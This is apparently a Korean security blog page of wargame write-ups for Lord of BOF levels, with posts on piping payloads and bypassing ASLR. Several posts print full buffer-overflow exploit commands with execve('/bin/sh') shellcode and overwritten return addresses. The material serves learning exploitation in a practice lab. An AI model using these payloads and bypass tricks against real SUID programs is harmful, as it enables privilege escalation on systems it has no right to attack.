해킹 - 110

  1. LOB_6.wolfman->darkelf 2016.01.21
  2. LOB_5.orc->wolfman 2016.01.21
  3. LOB_4.goblin->orc 2016.01.21
  4. LOB_3.cobolt->goblin 2016.01.21
  5. '|'(파이프)를 사용한 페이로드 작성 2016.01.21
  6. LOB_2.gremlin->cobolt 2016.01.16
  7. LOB_1.gate->gremlin 2016.01.16
  8. 간단한 ASLR 우회/차단 기법 2016.01.16

LOB_6.wolfman->darkelf

해킹/LOB 2016. 1. 21. 18:32


지난번 orc->wolfman에서 argv[1]의 길이를 체크하는 부분이 더 생겼다.

이제 리턴의 뒷부분을 사용하는 방법으로는 문제를 해결할 수 없다.

또 어디에 입력값이 들어가있을까 생각하다가 argv를 사용하기로 했다.

먼저 tmp에 darkelf파일을 복사한 뒤 gdb로 열었다.




먼저 argv부분의 주소를 알기 위해 gdb로 실행시켜봤다.

strcpy를 호출하기 전 push edx, push eax로 인자를 전달하는데 순서상 먼저 스텍에 push 해주는 edx가 strcpy(buffer, argv[1])에서 뒤에 쓰여있는 argv[1]을 가르킬 것이다.





strcpy를 호출하기 직전까지 프로그램을 실행시키기 위해 main+237에 bp를 걸어줬다.

그다음 실행을 시켜줘야하는데 여러 체크루틴에 걸리지 않게 argv도 넣어주고 리턴 마지막 바이트에 \xbf도 넣어줘서 

r `python -c 'print "a"*47+"\xbf"'` 이런식으로 실행해줘야 한다.

어쨋든 실행을 시켜서 edx를 확인해보니 0xbffffc09이다.





해당부분을 열어서 실제로 a로 가득찬 부분이 있는것을 확인했다.

이제 저 a대신 쉘코드를 넣어주고 리턴주소를 0xbffffc09로 넣어줘서 해당주소로 점프시키면 될것이다.



argv[1]로 41바이트짜리 쉘코드와 주소 4바이트를 더하면 45바이트다. buffer가 ebp-40에 위치하므로 총길이 리턴주소까지 48바이트를 덮어쓰게 되는데 그러면 3바이트정도 여유가 있다.

따라서 앞의 3바이트를 nop으로 채워넣고 쉘코드+리턴주소로 페이로드를 작성했다.



./darkelf `python -c 'print "\x90"*3+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x09\xfc\xff\xbf"'`




segmentation fault가 뜨며 실패했다.

이렇게 되는 이유는 실제 공격당하는 프로그램인 darkelf의 argv[1]과는 주소에 약간의 차이가 있기 때문이다.

gdb에서 실행하느냐 bash에서 실행하느냐에 따라서 조금씩 다르다.

프로그램 이름이나 경로에 따라서도 주소가 조금씩 차이가 났던것 같은데 정확히는 모르겠다.

우선 tmp에 복사해놓은 파일로 테스트해서 core dump가 생성되었으니 그걸로 분석을 해봤다.





gdb darkelf core 이런식으로 두번째 argv로 core파일명을 적어주면 프로그램이 종료된 시점에서의 메모리를 확인할 수 있다.

아까 리턴으로 점프시킨 0xbffffc09부분을 살펴봤더니 주소상의 차이때문에 4바이트 뒤로 밀린 0xbffffc0d부분부터 0x90이 시작되는 것을 확인했다.

이 주소로 리턴주소를 변경해서 페이로드를 다시 짰다.



./darkelf `python -c 'print "\x90"*3+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x0d\xfc\xff\xbf"'`






위 페이로드로 실행시킨 결과 tmp가 아닌 darkelf 원본에서도 똑같이 공격이 성공했다. (주소 차이가 경로랑은 상관이 없는듯..?)

끝-




ps. darkelf파일의 이름을 darkel로 한바이트 줄여봤더니 쉘코드의 주소가 2바이트 밀리는 것을 확인했다. 파일명과는 확실히 상관이 있는듯.

'해킹 > LOB' 카테고리의 다른 글

LOB_8.orge->troll  (0) 2016.01.22
LOB_7.darkelf->orge  (0) 2016.01.21
LOB_5.orc->wolfman  (0) 2016.01.21
LOB_4.goblin->orc  (0) 2016.01.21
LOB_3.cobolt->goblin  (0) 2016.01.21
Tags
Social

LOB_5.orc->wolfman

해킹/LOB 2016. 1. 21. 16:12

goblin->orc와 변한게 거의 없다. buffer hunter라고 해서 버퍼의 안쪽만 memset해버리는데 이미 전에 orc를 풀때 buffer의 뒷쪽 부분을 사용해서 풀었었다.

혹시나 하고 같은 페이로드를 입력하니 바로 풀렸다.





끝-


ps.자세한 설명은 http://satanel001.tistory.com/84에..

'해킹 > LOB' 카테고리의 다른 글

LOB_7.darkelf->orge  (0) 2016.01.21
LOB_6.wolfman->darkelf  (0) 2016.01.21
LOB_4.goblin->orc  (0) 2016.01.21
LOB_3.cobolt->goblin  (0) 2016.01.21
LOB_2.gremlin->cobolt  (0) 2016.01.16
Tags
Social

LOB_4.goblin->orc

해킹/LOB 2016. 1. 21. 15:41


드디어 egghunter가 적용됐다.

환경변수를 0으로 memset해버려서 더이상 환경변수에 쉘코드를 넣는 방식은 불가능하다.

하지만 LOB 서버의 경우 ASLR도 걸려있지 않고 아직 뒷쪽 버퍼를 사용하는 방식도 유효해서 크게 어려울것 같지는 않다.


이번에는 스텍의; 뒷쪽(리턴보다 높은주소)을 사용하는 방식으로 해보자.




디스어셈블 코드의 일부분이다.

코드가 많이 길어졌지만 여전히 call 위주로 보는 분석방법은 유효하다.

strcpy로 ebp-40의 주소가 들어가는것을 보니 buffer변수의 주소가 ebp-40임이 분명하다.

이제 리턴할 주소를 알아내야 하는데 안타깝게도 orc의 suid가 걸린 프로그램이라 gdb로 분석이 불가능하다.




tmp라는 폴더를 만들어준뒤 해당 폴더에 orc를 복사해줘서 goblin 권한으로 해당 프로그램을 가져왔다.

이제 gdb에서 동적분석이 가능해졌다.

먼저 스텍구조를 분석하기 위해 strcpy가 끝나고 돌아오는 지점인 main+194에 bp를 걸어줬다.




r `python -c 'print "a"*40+"bbbb"+"ccc\xbf"+"\x90"*1000'` 라는 입력으로 프로그램을 실행시켰다.

40개의 a가 buffer부분

bbbb는 SFP부분

ccc\xbf가 리턴부분인데 stack is still your firend가 나오며 꺼지는 것을 방지하기 위해 \xbf를 넣어줬다.

뒤에 \x90부분이 공격에 사용할 쉘코드를 넣을 부분이다.


같은 페이로드에 쉘코드를 붙여 리턴주소를 0xbffff730쯤으로 줘봤다.


./orc `python -c 'print "a"*40+"bbbb"+"\x30\xf7\xff\xbf"+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'





쉘은 떴는데 goblin 권한의 쉘이 떴다. 코드에 setreuid를 실행하는 부분이 없기 때문이다.

setreuiid를 포함하는 41바이트 쉘코드를 사용하면 해결할 수 있다.



./orc `python -c 'print "a"*40+"bbbb"+"\x30\xf7\xff\xbf"+"\x90"*1000+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`




성공!

끝-


'해킹 > LOB' 카테고리의 다른 글

LOB_6.wolfman->darkelf  (0) 2016.01.21
LOB_5.orc->wolfman  (0) 2016.01.21
LOB_3.cobolt->goblin  (0) 2016.01.21
LOB_2.gremlin->cobolt  (0) 2016.01.16
LOB_1.gate->gremlin  (0) 2016.01.16
Tags
Social

LOB_3.cobolt->goblin

해킹/LOB 2016. 1. 21. 14:43


이전 단계인 cobolt와 거의 똑같은 문제다.

이제야 눈치챘는데 하나씩 조건들을 추가하면서 위쪽 주석에 추가된 조건들을 표시해준다.

이번 문제는 stdin으로 페이로드를 집어넣을 수 있느냐를 묻는 문제인듯.


stdin으로  0x90 이런 형태의 16진수를 넣고 싶은데 키보드로는 입력할 수 없기 때문에 '|'(파이프)를 사용해야 한다.

파이프는 자신을 기준으로 왼쪽 프로그램의 stdout을 오른쪽 프로그램의 stdin으로 보내준다.


'|'(파이프)를 사용한 페이로드 작성 - http://satanel001.tistory.com/82


위 글에 파이프에 대해서 자세하게 설명해놓았다.




이 문제를 풀기 위해서 먼저 ebp를 기준으로 buffer 변수가 어디쯤 위치하는지 gdb를 켜서 확인해본다.




함수에 인자전달하는 부분을 보면 ebp-16부분이 buffer 변수의 시작점이라는 것을 알 수 있다.

그러면 리턴주소는 ebp+4지점에 있으므로 총 20바이트의 더미를 넣고 리턴주소를 덮어주면 되겠다.

먼저 환경변수에 쉘코드를 넣고 그 주소를 확인해보자.



쉘코드의 시작주소는 0xbfffd69e부분이다. nop 10000개에서 중간지점쯤에 떨구기 위해 5000정도를 더해주면 0xbfffea26을 리턴주소로 덮어주면 되겠다.

/tmp/getenv는 기본 프로그램이 아니라 환경변수 주소를 구하려고 직접 만든 프로그램이다. 착오가 없길...





계획대로 20개의 더미+쉘코드 주소를 파이프로 전달해서 쉘을 띄우는데 성공했다.

끝-


'해킹 > LOB' 카테고리의 다른 글

LOB_6.wolfman->darkelf  (0) 2016.01.21
LOB_5.orc->wolfman  (0) 2016.01.21
LOB_4.goblin->orc  (0) 2016.01.21
LOB_2.gremlin->cobolt  (0) 2016.01.16
LOB_1.gate->gremlin  (0) 2016.01.16
Tags
Social

'|'(파이프)를 사용한 페이로드 작성

해킹/개념 정리 2016. 1. 21. 14:28

시스템 관련 문제들을 풀다보면 stdin으로 특정 16진수를 넣어줘야 하는 상황이 꼭 발생한다.

이럴경우 해당 16진수가 ascii상 키보드로 입력할 수 없는 값이면 어쩔수 없이 프로그램으로 전달해줘야 한다.

그리고 이럴때 간단하게 사용할 수 있는 perl이나 python을 주로 이용하게 된다.


물론 c언어 등 다른 언어에서도 pipe 함수를 제공하여 프로세스간의 통신을 제공한다.

예컨데 c언어에서 특정 프로그램에 stdin으로 값을 집어넣으려면 파이프로 사용할 배열을 만들고 pipe()함수를 사용해서 커널에 파이프를 만들 수 있다. 그리고나서 fork()함수를 사용해서 부모-자식간에 공유되는 pipe변수를 가지고 통신을 하는 방식이다.


http://satanel001.tistory.com/33

이 포스팅에 조금더 자세한 구현방식이 나와있다.



하지만 위 방법은 코드도 길고 컴파일도 해야해서 bash에서 바로 사용할 수 있는 파이썬 스크립트와 '|' 사용에 비하면 효율성이 많이 떨어진다.

'|'(shift+\)는 bash에 들어갈 경우 특이한 기능을 하는데 '|'를 기준으로 좌측 부분의 실행결과 stdout으로 출력되는 부분을 우측 프로그램의 stdin으로 넣어주는 역할을 한다. 좀더 자세한 설명을 위해 테스트 프로그램을 작성해봤다.





       

   

받은 입력을 그대로 출력하는 get_print와 hello world를 출력하는 helloworld라는 프로그램을 각각 작성해주었다.

그리고 ./helloworld | ./get_print 라고 명령어를 입력해주면





이렇게 helloworld의 출력이 get_print의 입력으로 들어가서 input은 hello world라고 말해주는 것을 볼 수 있다.

여기서 helloworld를 c를 이용한 프로그램이 아닌 bash에서 바로 사용할 수 있는 간단한 python 스크립트로 바꿔주면


(python -c 'print "hello python!!"')|./get_print

이렇게 쓸수 있다. 결과를 보면




역시 입력값이 제대로 들어가는 것을 확인했다.

이런식으로 파이프를 기준으로 좌측에 python 스크립트를, 우측에 입력을 넣고자 하는 프로그램을 놓아서 입력을 전달할 수 있다.



하지만 만약 쉘코드를 사용해서 페이로드를 작성한다면 (python -c 'print "~~"';cat)|./input 이런식으로  ;cat을 붙여줘야 한다.

이유는 파이썬 스크립트가 출력하는 과정에서 마지막에 EOF를 넣기 때문이다. 스크립트가 정상적으로 쉘을 띄우더라도 그 쉘이 EOF를 만나서 꺼져버린다고 한다.





LOB의 전형적인 파이프를 이용한 bof 문제인데 보이는것처럼 같은 입력이더라도 ;cat이 없을때는 쉘이 실행되지 않는 것을 볼수있다.




Tags
Social

LOB_2.gremlin->cobolt

해킹/LOB 2016. 1. 16. 23:50


cobolt.c의 내용이다.

변한건 없고 버퍼의 크기만 줄어들었다. 여태까지 환경변수에 쉘코드를 넣고 사용했으니 버퍼가 줄어든다고 변하는 것은 없다.



버퍼가 ebp-16부분에 있는것을 확인한뒤




이런식으로 환경변수에 nop 10000개를 포함하는 쉘코드를 넣어주고

쉘코드의 주소를 알아낸 뒤 nop의 중간쯤 떨구기 위해 그보다 약간 높은위치로 리턴주소를 덮어썼다.

마찬가지로  a를 20개 넣어준것은 리턴의 위치가 ebp+4 부분이기 때문에 ebp-16부터 20개를 채워주고 리턴주소를 넣어준것.

중간에 한번 실패한것은 실수로 bash2를 사용하는것을 깜빡했다...

'해킹 > LOB' 카테고리의 다른 글

LOB_6.wolfman->darkelf  (0) 2016.01.21
LOB_5.orc->wolfman  (0) 2016.01.21
LOB_4.goblin->orc  (0) 2016.01.21
LOB_3.cobolt->goblin  (0) 2016.01.21
LOB_1.gate->gremlin  (0) 2016.01.16
Tags
Social

LOB_1.gate->gremlin

해킹/LOB 2016. 1. 16. 23:38

간단한 bof 문제이고 너무 많이 다뤄봤던 환경변수 이용 쉘코드 삽입이라서 그냥 한화면에 담아버렸다.

ebp-256인걸 위 gdb 화면에서 확인하고 환경변수에 쉘코드 넣어주고 주소구하고 

페이로드는 SFP 포함 260개 더미+(oxqo주소+0x1000정도)


혹시 방법이나 원리를 모른다면 http://satanel001.tistory.com/61 에 이것과 거의 똑같은 문제를 푼 풀이가 있으니 참고하면 되겠다.

끝-



ps.매우 중요한 내용인데 LOB를 할때는 반드시 bash2를 열어줘야한다. 안그러면 페이로드로 들어가는 내용중 0xff를 전혀 인식하지 못하므로 습관을 들이는 것이 좋겠다.


ps.telnet의 설정을 바꾸면 시작하자마자 bash2가 실행되게 할수도 있을것 같은데 root 비밀번호를 모른다..ㅋㅋ

'해킹 > LOB' 카테고리의 다른 글

LOB_6.wolfman->darkelf  (0) 2016.01.21
LOB_5.orc->wolfman  (0) 2016.01.21
LOB_4.goblin->orc  (0) 2016.01.21
LOB_3.cobolt->goblin  (0) 2016.01.21
LOB_2.gremlin->cobolt  (0) 2016.01.16
Tags
Social

간단한 ASLR 우회/차단 기법

해킹/개념 정리 2016. 1. 16. 22:26

스택의 주소가 필요한 공격을 할때 상당히 짜증나는 보호기법중 하나가 aslr이다. 

ASLR의 개념: http://satanel001.tistory.com/60

위 글에서 설명했듯이 Imagebase를 랜덤하게 해줘서 주소 예측이 힘들게 하는 방식이다.


이 aslr에 대해서 사소하더라도 내가 알고있는 우회/차단 기법을 몇가지 소개한다.


1.0x90사용하기

쉘코드를 사용하기 위해서 많이 쓰는 방법이다. 0x90(nop)이라는 명령어는 프로그램에 아무런 영향도 끼치지 않고 그냥 eip를 다음 명령어로 넘겨버린다. 그러므로 이 0x90을 많이 늘어놓은 다음 뒷쪽에 쉘코드를 넣어서 프로그램이 랜덤한 주소로 리턴하거나 점프해도 0x90안에 eip가 떨어질 확률을 높히는 것이다.

여러개의 0x90중 한군데에만 떨어져도 eip는 0x90을 타고 끝까지 가서 쉘코드를 실행하게 된다. 많이 쓰이는 방법이긴 한데 버퍼의 크기가 한정되어있으면 0x90을 넣을 공간이 부족할 수 있다.


2.반복실행

0x90과 마찬가지로 확률을 높히는 방식이다. 원하는 주소가 어딘지는 모르지만 가능한 주소를 골라서 될때까지 계속 시도를 하다보면 랜덤의 특성상 언젠가는 해당주소에 걸릴 것이다. 0x90과 함게 사용하면 확률을 더 높힐 수 있겠다. 하지만 너무 반복적으로 실행하지 못하게 차단한다던지 하는 환경에서는 사용할 수 없는 방법이다.


3.ulimit -s unlimited

리눅스 소스의 mmap.c 부분에 32비트에 stack 크기가 unlimited일경우 이미지베이스에 랜덤값을 추가하지 않도록 되어있다.

그냥 소스 자체가 그렇게 쓰여있는 것이다.

아마도 Imagebase에 작은 숫자라도 랜덤한 값이 추가되면 가상메모리의 최대범위를 넘어갈 수 있기 때문이 아닐까 조심스레 추측만 해본다.


그런데 이게 내가 알고있던 것 처럼 항상 스텍영역의 주소를 고정해주는 것은 아닌듯 하다. 우선 기본적으로 64비트에서는 안되고...

간단한 코드로 실험을 해봤는데. 우분투 32비트에서도 실패했다.




이런식으로 스텍에 할당된 버퍼와 환경변수의 주소를 각각 출력하도록 test.c를 짜줬다.

그리고 이 프로그램을 그냥 5번 실행하는 runtest라는 프로그램을 작성해서 돌려봤더니..




캡쳐와 같이 ulimit -s가 unlimited인데도 다 다르게 나온다.

부모 프로세스의 ulimit에 따라 다르다고 해서 /etc/security/limits.conf에 기본 ulimit -s도 다 unlimited로 바꿔줬는데도 여전히 주소가 바뀐다.

하지만 분명히 사람들이 이 방식으로 aslr을 우회할 수 있다고 하고 나도 실제로 사용해본 경험이 있기에 일단 소개는 해놓았다..



4.setarch (아키텍쳐) -R

내경우에는 setarch linux32 -R다.



setarch의 옵션들인데 -R은 addr-no-randomize 옵션이라고 쓰여있다.

이 명령어를 실행하면 쉘이 하나 뜨는데 그 안에서 실행하는 프로그램의 aslr이 풀린다.




위 캡쳐처럼 주소가 통일되었지만... suid나 sgid가 걸린 파일에는 아래처럼 다시 랜덤해져버린다...

실제 suid가 걸린 파일을 익스플로잇 해야할때는 사용하기 힘들다는 뜻..



결론은 대부분의 경우 가장 기초적인 1, 2번 방법에 기대야 하고 3.ulimit -s unlimited는 분명이 써먹을 수 있었던거 같은데 공부가 좀더 되고 확인이 되면 다시 글을 쓰는걸로 해야겠다...




2016-01-20 추가: ulimit -s unlimited는 힙과 라이브러리 영역까지만 고정이 되고 스택영역은 고정이 안된다고 한다.

Tags
Social